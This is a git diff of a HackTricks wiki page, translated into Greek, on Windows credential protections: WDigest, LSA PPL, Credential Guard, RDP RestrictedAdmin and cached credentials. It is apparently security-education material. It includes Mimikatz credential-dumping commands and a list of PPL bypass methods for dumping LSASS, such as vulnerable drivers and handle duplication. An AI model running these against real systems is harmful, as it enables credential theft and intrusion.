mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/stealing-credentials/credentials-
This commit is contained in:
parent
8e7b49edce
commit
6322696043
@ -1,118 +1,174 @@
|
||||
# Προστασίες Διαπιστευτηρίων Windows
|
||||
# Προστασίες διαπιστευτηρίων Windows
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WDigest
|
||||
|
||||
Το [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) πρωτόκολλο, που εισήχθη με τα Windows XP, έχει σχεδιαστεί για αυθεντικοποίηση μέσω του Πρωτοκόλλου HTTP και είναι **ενεργοποιημένο από προεπιλογή στα Windows XP μέχρι Windows 8.0 και Windows Server 2003 έως Windows Server 2012**. Αυτή η προεπιλεγμένη ρύθμιση έχει ως αποτέλεσμα **αποθήκευση κωδικών πρόσβασης σε απλό κείμενο στο LSASS** (Local Security Authority Subsystem Service). Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το Mimikatz για να **εξάγει αυτά τα διαπιστευτήρια** εκτελώντας:
|
||||
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **ενεργοποιημένο εξ ορισμού στα Windows XP έως τα Windows 8.0 και στα Windows Server 2003 έως τα Windows Server 2012**. Αυτή η προεπιλεγμένη ρύθμιση οδηγεί σε **αποθήκευση κωδικών σε απλό κείμενο στο LSASS** (Local Security Authority Subsystem Service). Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το Mimikatz για να **εξαγάγει αυτά τα διαπιστευτήρια** εκτελώντας:
|
||||
```bash
|
||||
sekurlsa::wdigest
|
||||
```
|
||||
Για να **εναλλάξετε αυτή τη δυνατότητα ενεργοποιημένη ή απενεργοποιημένη**, τα _**UseLogonCredential**_ και _**Negotiate**_ κλειδιά μητρώου μέσα στο _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ πρέπει να ρυθμιστούν σε "1". Εάν αυτά τα κλειδιά είναι **απουσία ή ρυθμισμένα σε "0"**, το WDigest είναι **απενεργοποιημένο**:
|
||||
Για να **απενεργοποιήσετε ή να ενεργοποιήσετε αυτή τη λειτουργία**, τα _**UseLogonCredential**_ και _**Negotiate**_ κλειδιά μητρώου στο _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ πρέπει να έχουν τιμή "1". Εάν αυτά τα κλειδιά **απουσιάζουν ή έχουν τιμή "0"**, το WDigest είναι **απενεργοποιημένο**:
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
|
||||
```
|
||||
## LSA Protection (PP & PPL protected processes)
|
||||
## Προστασία LSA (PP & PPL protected processes)
|
||||
|
||||
**Protected Process (PP)** και **Protected Process Light (PPL)** είναι **προστασίες επιπέδου πυρήνα Windows** σχεδιασμένες για να αποτρέπουν την μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητες διαδικασίες όπως το **LSASS**. Εισήχθησαν στο **Windows Vista**, το **μοντέλο PP** δημιουργήθηκε αρχικά για την επιβολή **DRM** και επέτρεπε μόνο σε δυαδικά αρχεία που ήταν υπογεγραμμένα με ένα **ειδικό πιστοποιητικό μέσων** να προστατεύονται. Μια διαδικασία που έχει χαρακτηριστεί ως **PP** μπορεί να προσπελαστεί μόνο από άλλες διαδικασίες που είναι **επίσης PP** και έχουν **ίσο ή υψηλότερο επίπεδο προστασίας**, και ακόμη και τότε, **μόνο με περιορισμένα δικαιώματα πρόσβασης** εκτός αν επιτραπεί συγκεκριμένα.
|
||||
**Protected Process (PP)** και **Protected Process Light (PPL)** είναι **προστασίες σε επίπεδο kernel των Windows** σχεδιασμένες να αποτρέπουν μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητες διεργασίες όπως η **LSASS**. Εισήχθησαν στα **Windows Vista**, το **PP model** δημιουργήθηκε αρχικά για επιβολή **DRM** και επέτρεπε να προστατεύονται μόνο δυαδικά υπογεγραμμένα με ένα ειδικό πιστοποιητικό μέσων. Μια διεργασία που επισημαίνεται ως **PP** μπορεί να προσπελαστεί μόνο από άλλες διεργασίες που είναι επίσης **PP** και έχουν ίσο ή υψηλότερο επίπεδο προστασίας, και ακόμα και τότε, μόνο με περιορισμένα δικαιώματα πρόσβασης εκτός αν επιτρέπεται ρητά.
|
||||
|
||||
**PPL**, που εισήχθη στο **Windows 8.1**, είναι μια πιο ευέλικτη έκδοση του PP. Επιτρέπει **ευρύτερες περιπτώσεις χρήσης** (π.χ., LSASS, Defender) εισάγοντας **"επίπεδα προστασίας"** βασισμένα στο πεδίο **EKU (Enhanced Key Usage)** της ψηφιακής υπογραφής. Το επίπεδο προστασίας αποθηκεύεται στο πεδίο `EPROCESS.Protection`, το οποίο είναι μια δομή `PS_PROTECTION` με:
|
||||
**PPL**, που εισήχθη στα **Windows 8.1**, είναι μια πιο ευέλικτη έκδοση του PP. Επιτρέπει ευρύτερες περιπτώσεις χρήσης (π.χ., **LSASS**, **Defender**) εισάγοντας «επίπεδα προστασίας» βασισμένα στο πεδίο EKU (Enhanced Key Usage) της ψηφιακής υπογραφής. Το επίπεδο προστασίας αποθηκεύεται στο πεδίο `EPROCESS.Protection`, το οποίο είναι μια δομή `PS_PROTECTION` με:
|
||||
- **Type** (`Protected` ή `ProtectedLight`)
|
||||
- **Signer** (π.χ., `WinTcb`, `Lsa`, `Antimalware`, κ.λπ.)
|
||||
|
||||
Αυτή η δομή είναι συμπιεσμένη σε ένα μόνο byte και καθορίζει **ποιος μπορεί να έχει πρόσβαση σε ποιον**:
|
||||
- **Υψηλότερες τιμές υπογραφής μπορούν να προσπελάσουν χαμηλότερες**
|
||||
- **PPLs δεν μπορούν να προσπελάσουν PPs**
|
||||
- **Μη προστατευμένες διαδικασίες δεν μπορούν να προσπελάσουν καμία PPL/PP**
|
||||
Αυτή η δομή πακετάρεται σε ένα μόνο byte και καθορίζει **ποιος μπορεί να προσπελάσει ποιον**:
|
||||
- **Υψηλότερες τιμές signer μπορούν να προσπελάσουν χαμηλότερες**
|
||||
- **Οι PPL δεν μπορούν να προσπελάσουν PP**
|
||||
- **Οι μη προστατευμένες διεργασίες δεν μπορούν να προσπελάσουν καμία PPL/PP**
|
||||
|
||||
### Τι πρέπει να γνωρίζετε από επιθετική προοπτική
|
||||
### Τι πρέπει να γνωρίζετε από επιθετική σκοπιά
|
||||
|
||||
- Όταν **το LSASS εκτελείται ως PPL**, οι απόπειρες να το ανοίξετε χρησιμοποιώντας `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` από μια κανονική διαχειριστική κονσόλα **αποτυγχάνουν με `0x5 (Access Denied)`**, ακόμη και αν είναι ενεργοποιημένο το `SeDebugPrivilege`.
|
||||
- Μπορείτε να **ελέγξετε το επίπεδο προστασίας του LSASS** χρησιμοποιώντας εργαλεία όπως το Process Hacker ή προγραμματισμένα διαβάζοντας την τιμή `EPROCESS.Protection`.
|
||||
- Το LSASS θα έχει συνήθως `PsProtectedSignerLsa-Light` (`0x41`), το οποίο μπορεί να προσπελαστεί **μόνο από διαδικασίες που είναι υπογεγραμμένες με έναν υπογράφοντα υψηλότερου επιπέδου**, όπως το `WinTcb` (`0x61` ή `0x62`).
|
||||
- Το PPL είναι μια **περιορισμένη μόνο για το Userland**; **ο κωδικός επιπέδου πυρήνα μπορεί να το παρακάμψει πλήρως**.
|
||||
- Το LSASS που είναι PPL δεν **αποτρέπει την εξαγωγή διαπιστευτηρίων αν μπορείτε να εκτελέσετε κώδικα πυρήνα** ή **να εκμεταλλευτείτε μια διαδικασία υψηλών προνομίων με κατάλληλη πρόσβαση**.
|
||||
- **Η ρύθμιση ή η αφαίρεση του PPL** απαιτεί επανεκκίνηση ή **ρυθμίσεις Secure Boot/UEFI**, οι οποίες μπορούν να διατηρήσουν τη ρύθμιση PPL ακόμη και μετά την αναίρεση των αλλαγών μητρώου.
|
||||
- Όταν η **LSASS** τρέχει ως **PPL**, προσπάθειες να την ανοίξετε μέσω `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` από ένα κανονικό admin context **αποτυγχάνουν με `0x5 (Access Denied)`**, ακόμα και αν το `SeDebugPrivilege` είναι ενεργό.
|
||||
- Μπορείτε να **ελέγξετε το επίπεδο προστασίας της LSASS** χρησιμοποιώντας εργαλεία όπως το Process Hacker ή προγραμματιστικά διαβάζοντας την τιμή `EPROCESS.Protection`.
|
||||
- Η LSASS συνήθως θα έχει `PsProtectedSignerLsa-Light` (`0x41`), η οποία μπορεί να προσπελαστεί **μόνο από διεργασίες υπογεγραμμένες με υπογράφοντα υψηλότερου επιπέδου**, όπως `WinTcb` (`0x61` ή `0x62`).
|
||||
- Η **PPL είναι περιορισμός μόνο στο Userland**· ο κώδικας σε επίπεδο kernel μπορεί να τον παρακάμψει πλήρως.
|
||||
- Το ότι η LSASS είναι PPL **δεν αποτρέπει το credential dumping** εάν μπορείτε να εκτελέσετε `kernel shellcode` ή να αξιοποιήσετε μια διεργασία με υψηλά προνόμια που έχει τα κατάλληλα δικαιώματα πρόσβασης.
|
||||
- Η ενεργοποίηση ή η αφαίρεση της PPL απαιτεί επανεκκίνηση ή ρυθμίσεις Secure Boot/UEFI, οι οποίες μπορούν να διατηρήσουν την ρύθμιση PPL ακόμη και μετά την αναίρεση αλλαγών στο registry.
|
||||
|
||||
**Επιλογές παράκαμψης προστασιών PPL:**
|
||||
### Create a PPL process at launch (documented API)
|
||||
|
||||
Αν θέλετε να εξάγετε το LSASS παρά το PPL, έχετε 3 κύριες επιλογές:
|
||||
1. **Χρησιμοποιήστε έναν υπογεγραμμένο οδηγό πυρήνα (π.χ., Mimikatz + mimidrv.sys)** για να **αφαιρέσετε τη σημαία προστασίας του LSASS**:
|
||||
Τα Windows εκθέτουν έναν τεκμηριωμένο τρόπο για να ζητηθεί ένα επίπεδο Protected Process Light για μια child process κατά τη δημιουργία χρησιμοποιώντας την extended startup attribute list. Αυτό δεν παρακάμπτει τις απαιτήσεις υπογραφής — το target image πρέπει να είναι υπογεγραμμένο για την ζητούμενη κλάση signer.
|
||||
|
||||
Ελάχιστη ροή σε C/C++:
|
||||
```c
|
||||
// Request a PPL protection level for the child process at creation time
|
||||
// Requires Windows 8.1+ and a properly signed image for the selected level
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(int argc, wchar_t **argv) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
if (!si.lpAttributeList) return 1;
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
|
||||
|
||||
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
|
||||
if (!UpdateProcThreadAttribute(
|
||||
si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&level, sizeof(level), NULL, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
|
||||
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// If the image isn't signed appropriately for the requested level,
|
||||
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώσεις και περιορισμοί:
|
||||
- Χρησιμοποιήστε `STARTUPINFOEX` με `InitializeProcThreadAttributeList` και `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, στη συνέχεια περάστε `EXTENDED_STARTUPINFO_PRESENT` στο `CreateProcess*`.
|
||||
- Το protection `DWORD` μπορεί να οριστεί σε constants όπως `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, ή `PROTECTION_LEVEL_LSA_LIGHT`.
|
||||
- Η child ξεκινά ως PPL μόνο εάν το image της είναι signed για εκείνη την signer class· διαφορετικά η δημιουργία διεργασίας αποτυγχάνει, συνήθως με `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
|
||||
- Αυτό δεν είναι bypass — είναι ένα υποστηριζόμενο API προορισμένο για κατάλληλα signed images. Χρήσιμο για την ενίσχυση εργαλείων ή την επικύρωση PPL-protected configurations.
|
||||
|
||||
Παράδειγμα CLI με έναν minimal loader:
|
||||
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
|
||||
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
|
||||
|
||||
**Επιλογές για bypass των PPL προστασιών:**
|
||||
|
||||
Αν θέλετε να dump το LSASS παρά το PPL, έχετε 3 κύριες επιλογές:
|
||||
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** για να **αφαιρέσετε το protection flag του LSASS**:
|
||||
|
||||

|
||||
|
||||
2. **Φέρτε τον δικό σας ευάλωτο οδηγό (BYOVD)** για να εκτελέσετε προσαρμοσμένο κώδικα πυρήνα και να απενεργοποιήσετε την προστασία. Εργαλεία όπως το **PPLKiller**, **gdrv-loader**, ή **kdmapper** καθιστούν αυτό εφικτό.
|
||||
3. **Κλέψτε μια υπάρχουσα λαβή LSASS** από μια άλλη διαδικασία που την έχει ανοιχτή (π.χ., μια διαδικασία AV), στη συνέχεια **διπλασιάστε την** στη διαδικασία σας. Αυτό είναι η βάση της τεχνικής `pypykatz live lsa --method handledup`.
|
||||
4. **Καταχραστείτε κάποια προνομιακή διαδικασία** που θα σας επιτρέψει να φορτώσετε αυθαίρετο κώδικα στο χώρο διευθύνσεων της ή μέσα σε άλλη προνομιακή διαδικασία, παρακάμπτοντας αποτελεσματικά τους περιορισμούς PPL. Μπορείτε να ελέγξετε ένα παράδειγμα αυτού στο [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ή [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
2. **Bring Your Own Vulnerable Driver (BYOVD)** για να τρέξετε custom kernel code και να απενεργοποιήσετε την προστασία. Εργαλεία όπως **PPLKiller**, **gdrv-loader**, ή **kdmapper** το καθιστούν εφικτό.
|
||||
3. **Steal an existing LSASS handle** από άλλη διεργασία που το έχει ανοιχτό (π.χ., μια AV process), και στη συνέχεια **duplicate** αυτό στη διεργασία σας. Αυτό είναι η βάση της τεχνικής `pypykatz live lsa --method handledup`.
|
||||
4. **Abuse some privileged process** που θα σας επιτρέψει να load arbitrary code στον address space του ή μέσα σε άλλη privileged process, ουσιαστικά bypassing τους περιορισμούς του PPL. Μπορείτε να δείτε ένα παράδειγμα σε [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ή [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
|
||||
**Ελέγξτε την τρέχουσα κατάσταση της προστασίας LSA (PPL/PP) για το LSASS**:
|
||||
**Ελέγξτε την τρέχουσα κατάσταση της LSA προστασίας (PPL/PP) για το LSASS**:
|
||||
```bash
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
|
||||
```
|
||||
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
|
||||
When you runing **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
|
||||
|
||||
- Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
|
||||
## Credential Guard
|
||||
|
||||
**Credential Guard**, μια δυνατότητα αποκλειστική για **Windows 10 (Enterprise και Education εκδόσεις)**, ενισχύει την ασφάλεια των διαπιστευτηρίων μηχανής χρησιμοποιώντας **Virtual Secure Mode (VSM)** και **Virtualization Based Security (VBS)**. Εκμεταλλεύεται τις επεκτάσεις εικονικοποίησης CPU για να απομονώσει βασικές διαδικασίες εντός ενός προστατευμένου χώρου μνήμης, μακριά από την πρόσβαση του κύριου λειτουργικού συστήματος. Αυτή η απομόνωση διασφαλίζει ότι ακόμη και ο πυρήνας δεν μπορεί να έχει πρόσβαση στη μνήμη στο VSM, προστατεύοντας αποτελεσματικά τα διαπιστευτήρια από επιθέσεις όπως **pass-the-hash**. Η **Local Security Authority (LSA)** λειτουργεί μέσα σε αυτό το ασφαλές περιβάλλον ως trustlet, ενώ η διαδικασία **LSASS** στο κύριο OS λειτουργεί απλώς ως επικοινωνητής με την LSA του VSM.
|
||||
**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, enhances the security of machine credentials using **Virtual Secure Mode (VSM)** and **Virtualization Based Security (VBS)**. It leverages CPU virtualization extensions to isolate key processes within a protected memory space, away from the main operating system's reach. This isolation ensures that even the kernel cannot access the memory in VSM, effectively safeguarding credentials from attacks like **pass-the-hash**. The **Local Security Authority (LSA)** operates within this secure environment as a trustlet, while the **LSASS** process in the main OS acts merely as a communicator with the VSM's LSA.
|
||||
|
||||
Από προεπιλογή, **Credential Guard** δεν είναι ενεργό και απαιτεί χειροκίνητη ενεργοποίηση εντός ενός οργανισμού. Είναι κρίσιμο για την ενίσχυση της ασφάλειας κατά εργαλείων όπως το **Mimikatz**, τα οποία περιορίζονται στην ικανότητά τους να εξάγουν διαπιστευτήρια. Ωστόσο, οι ευπάθειες μπορούν να εκμεταλλευτούν μέσω της προσθήκης προσαρμοσμένων **Security Support Providers (SSP)** για να συλλάβουν διαπιστευτήρια σε καθαρό κείμενο κατά τις προσπάθειες σύνδεσης.
|
||||
Από προεπιλογή, το **Credential Guard** δεν είναι ενεργό και απαιτεί χειροκίνητη ενεργοποίηση εντός μιας οργάνωσης. Είναι κρίσιμο για την ενίσχυση της ασφάλειας απέναντι σε εργαλεία όπως το **Mimikatz**, τα οποία δυσχεραίνουν την εξαγωγή διαπιστευτηρίων. Ωστόσο, ευπάθειες μπορούν ακόμα να εκμεταλλευτούν μέσω της προσθήκης προσαρμοσμένων **Security Support Providers (SSP)** για την καταγραφή διαπιστευτηρίων σε απλό κείμενο κατά τις προσπάθειες σύνδεσης.
|
||||
|
||||
Για να επαληθεύσετε την κατάσταση ενεργοποίησης του **Credential Guard**, μπορεί να ελεγχθεί το κλειδί μητρώου _**LsaCfgFlags**_ κάτω από _**HKLM\System\CurrentControlSet\Control\LSA**_. Μια τιμή "**1**" υποδηλώνει ενεργοποίηση με **UEFI lock**, "**2**" χωρίς κλείδωμα, και "**0**" δηλώνει ότι δεν είναι ενεργοποιημένο. Αυτός ο έλεγχος μητρώου, αν και είναι ισχυρός δείκτης, δεν είναι το μόνο βήμα για την ενεργοποίηση του Credential Guard. Λεπτομερείς οδηγίες και ένα σενάριο PowerShell για την ενεργοποίηση αυτής της δυνατότητας είναι διαθέσιμα online.
|
||||
Για να επαληθεύσετε την κατάσταση ενεργοποίησης του **Credential Guard**, μπορείτε να ελέγξετε το registry key _**LsaCfgFlags**_ κάτω από _**HKLM\System\CurrentControlSet\Control\LSA**_. Μια τιμή "**1**" υποδεικνύει ενεργοποίηση με **UEFI lock**, "**2**" χωρίς lock, και "**0**" δηλώνει ότι δεν είναι ενεργοποιημένο. Αυτός ο έλεγχος registry, παρότι είναι ισχυρός δείκτης, δεν είναι το μόνο απαιτούμενο βήμα για την ενεργοποίηση του Credential Guard. Λεπτομερείς οδηγίες και ένα PowerShell script για την ενεργοποίηση αυτής της λειτουργίας είναι διαθέσιμα online.
|
||||
```bash
|
||||
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
|
||||
```
|
||||
Για μια ολοκληρωμένη κατανόηση και οδηγίες σχετικά με την ενεργοποίηση του **Credential Guard** στα Windows 10 και την αυτόματη ενεργοποίησή του σε συμβατά συστήματα των **Windows 11 Enterprise και Education (έκδοση 22H2)**, επισκεφθείτε την [τεκμηρίωση της Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
Για πλήρη κατανόηση και οδηγίες για την ενεργοποίηση του **Credential Guard** στα Windows 10 και την αυτόματη ενεργοποίησή του σε συμβατά συστήματα των **Windows 11 Enterprise and Education (version 22H2)**, επισκεφθείτε [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
|
||||
Περισσότερες λεπτομέρειες σχετικά με την υλοποίηση προσαρμοσμένων SSP για την καταγραφή διαπιστευτηρίων παρέχονται [σε αυτόν τον οδηγό](../active-directory-methodology/custom-ssp.md).
|
||||
Περαιτέρω λεπτομέρειες για την υλοποίηση custom SSPs για την καταγραφή διαπιστευτηρίων παρέχονται σε [this guide](../active-directory-methodology/custom-ssp.md).
|
||||
|
||||
## RDP RestrictedAdmin Mode
|
||||
|
||||
**Windows 8.1 και Windows Server 2012 R2** εισήγαγαν αρκετές νέες δυνατότητες ασφαλείας, συμπεριλαμβανομένης της _**Restricted Admin mode για RDP**_. Αυτή η λειτουργία σχεδιάστηκε για να ενισχύσει την ασφάλεια μειώνοντας τους κινδύνους που σχετίζονται με τις επιθέσεις [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
|
||||
Τα **Windows 8.1 και Windows Server 2012 R2** εισήγαγαν αρκετά νέα μέτρα ασφαλείας, συμπεριλαμβανομένης της _**Restricted Admin mode for RDP**_. Αυτή η λειτουργία σχεδιάστηκε για να ενισχύσει την ασφάλεια μειώνοντας τους κινδύνους που συνδέονται με επιθέσεις [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
|
||||
|
||||
Παραδοσιακά, όταν συνδέεστε σε έναν απομακρυσμένο υπολογιστή μέσω RDP, τα διαπιστευτήριά σας αποθηκεύονται στη στοχοθετημένη μηχανή. Αυτό συνιστά σημαντικό κίνδυνο ασφαλείας, ειδικά όταν χρησιμοποιείτε λογαριασμούς με αυξημένα δικαιώματα. Ωστόσο, με την εισαγωγή της _**Restricted Admin mode**_, αυτός ο κίνδυνος μειώνεται σημαντικά.
|
||||
Παραδοσιακά, όταν συνδέεστε σε έναν απομακρυσμένο υπολογιστή μέσω RDP, τα διαπιστευτήριά σας αποθηκεύονται στον υπολογιστή-στόχο. Αυτό δημιουργεί σημαντικό κίνδυνο ασφάλειας, ειδικά όταν χρησιμοποιούνται λογαριασμοί με αυξημένα προνόμια. Ωστόσο, με την εισαγωγή της _**Restricted Admin mode**_, αυτός ο κίνδυνος μειώνεται σημαντικά.
|
||||
|
||||
Όταν ξεκινάτε μια σύνδεση RDP χρησιμοποιώντας την εντολή **mstsc.exe /RestrictedAdmin**, η αυθεντικοποίηση στον απομακρυσμένο υπολογιστή πραγματοποιείται χωρίς να αποθηκεύονται τα διαπιστευτήριά σας σε αυτόν. Αυτή η προσέγγιση διασφαλίζει ότι, σε περίπτωση μόλυνσης από κακόβουλο λογισμικό ή αν ένας κακόβουλος χρήστης αποκτήσει πρόσβαση στον απομακρυσμένο διακομιστή, τα διαπιστευτήριά σας δεν θα διακυβευτούν, καθώς δεν αποθηκεύονται στον διακομιστή.
|
||||
Όταν ξεκινάτε μια σύνδεση RDP χρησιμοποιώντας την εντολή **mstsc.exe /RestrictedAdmin**, η αυθεντικοποίηση στον απομακρυσμένο υπολογιστή γίνεται χωρίς να αποθηκεύονται τα διαπιστευτήριά σας σ' αυτόν. Αυτή η προσέγγιση διασφαλίζει ότι, σε περίπτωση μόλυνσης από malware ή αν ένας κακόβουλος χρήστης αποκτήσει πρόσβαση στον απομακρυσμένο server, τα διαπιστευτήριά σας δεν εκτίθενται, καθώς δεν αποθηκεύονται στον server.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι στη **Restricted Admin mode**, οι προσπάθειες πρόσβασης σε πόρους δικτύου από τη συνεδρία RDP δεν θα χρησιμοποιούν τα προσωπικά σας διαπιστευτήρια. Αντίθετα, χρησιμοποιείται η **ταυτότητα της μηχανής**.
|
||||
Είναι σημαντικό να σημειωθεί ότι στη **Restricted Admin mode**, οι προσπάθειες πρόσβασης σε δικτυακούς πόρους από τη RDP συνεδρία δεν θα χρησιμοποιήσουν τα προσωπικά σας διαπιστευτήρια· αντίθετα χρησιμοποιείται η ταυτότητα του μηχανήματος.
|
||||
|
||||
Αυτή η δυνατότητα σηματοδοτεί ένα σημαντικό βήμα προς τα εμπρός στην ασφάλιση των απομακρυσμένων συνδέσεων επιφάνειας εργασίας και στην προστασία ευαίσθητων πληροφοριών από την έκθεση σε περίπτωση παραβίασης ασφαλείας.
|
||||
Αυτή η δυνατότητα αποτελεί σημαντικό βήμα προόδου στην ασφάλεια των απομακρυσμένων desktop συνδέσεων και στην προστασία ευαίσθητων πληροφοριών σε περίπτωση παραβίασης ασφαλείας.
|
||||
|
||||

|
||||
|
||||
Για περισσότερες λεπτομέρειες επισκεφθείτε [αυτή την πηγή](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
Για πιο αναλυτικές πληροφορίες επισκεφθείτε [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
|
||||
## Cached Credentials
|
||||
## Αποθηκευμένα διαπιστευτήρια
|
||||
|
||||
Τα Windows ασφαλίζουν τα **διαπιστευτήρια τομέα** μέσω της **Τοπικής Αρχής Ασφαλείας (LSA)**, υποστηρίζοντας τις διαδικασίες σύνδεσης με πρωτόκολλα ασφαλείας όπως το **Kerberos** και το **NTLM**. Μια βασική δυνατότητα των Windows είναι η ικανότητά τους να αποθηκεύουν στην κρυφή μνήμη τις **τελευταίες δέκα συνδέσεις τομέα** για να διασφαλίσουν ότι οι χρήστες μπορούν να έχουν πρόσβαση στους υπολογιστές τους ακόμη και αν ο **διακομιστής τομέα είναι εκτός σύνδεσης**—ένα πλεονέκτημα για τους χρήστες φορητών υπολογιστών που συχνά βρίσκονται μακριά από το δίκτυο της εταιρείας τους.
|
||||
Τα Windows προστατεύουν τα **domain credentials** μέσω της **Local Security Authority (LSA)**, υποστηρίζοντας τις διαδικασίες logon με πρωτόκολλα ασφαλείας όπως **Kerberos** και **NTLM**. Μία βασική δυνατότητα των Windows είναι η ικανότητά τους να cache-άρουν τα **τελευταία δέκα domain logins** ώστε οι χρήστες να μπορούν ακόμα να έχουν πρόσβαση στους υπολογιστές τους ακόμη κι αν ο **domain controller είναι offline** — ιδιαίτερα χρήσιμο για χρήστες laptop που συχνά βρίσκονται εκτός του εταιρικού δικτύου.
|
||||
|
||||
Ο αριθμός των αποθηκευμένων συνδέσεων μπορεί να ρυθμιστεί μέσω ενός συγκεκριμένου **κλειδιού μητρώου ή πολιτικής ομάδας**. Για να δείτε ή να αλλάξετε αυτή τη ρύθμιση, χρησιμοποιείται η εξής εντολή:
|
||||
Ο αριθμός των αποθηκευμένων logins μπορεί να ρυθμιστεί μέσω συγκεκριμένου **κλειδιού μητρώου ή group policy**. Για να δείτε ή να αλλάξετε αυτήν τη ρύθμιση, χρησιμοποιείται η ακόλουθη εντολή:
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
Η πρόσβαση σε αυτές τις αποθηκευμένες διαπιστεύσεις ελέγχεται αυστηρά, με μόνο τον λογαριασμό **SYSTEM** να έχει τις απαραίτητες άδειες για να τις δει. Οι διαχειριστές που χρειάζονται πρόσβαση σε αυτές τις πληροφορίες πρέπει να το κάνουν με προνόμια χρήστη SYSTEM. Οι διαπιστεύσεις αποθηκεύονται στη διεύθυνση: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
Η πρόσβαση σε αυτά τα cached credentials ελέγχεται αυστηρά, με μόνο τον λογαριασμό **SYSTEM** να έχει τα απαραίτητα δικαιώματα για να τα δει. Οι διαχειριστές που χρειάζονται πρόσβαση σε αυτές τις πληροφορίες πρέπει να το κάνουν με δικαιώματα χρήστη SYSTEM. Τα credentials αποθηκεύονται στο: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
|
||||
Η **Mimikatz** μπορεί να χρησιμοποιηθεί για την εξαγωγή αυτών των αποθηκευμένων διαπιστεύσεων χρησιμοποιώντας την εντολή `lsadump::cache`.
|
||||
**Mimikatz** μπορεί να χρησιμοποιηθεί για εξαγωγή αυτών των cached credentials χρησιμοποιώντας την εντολή `lsadump::cache`.
|
||||
|
||||
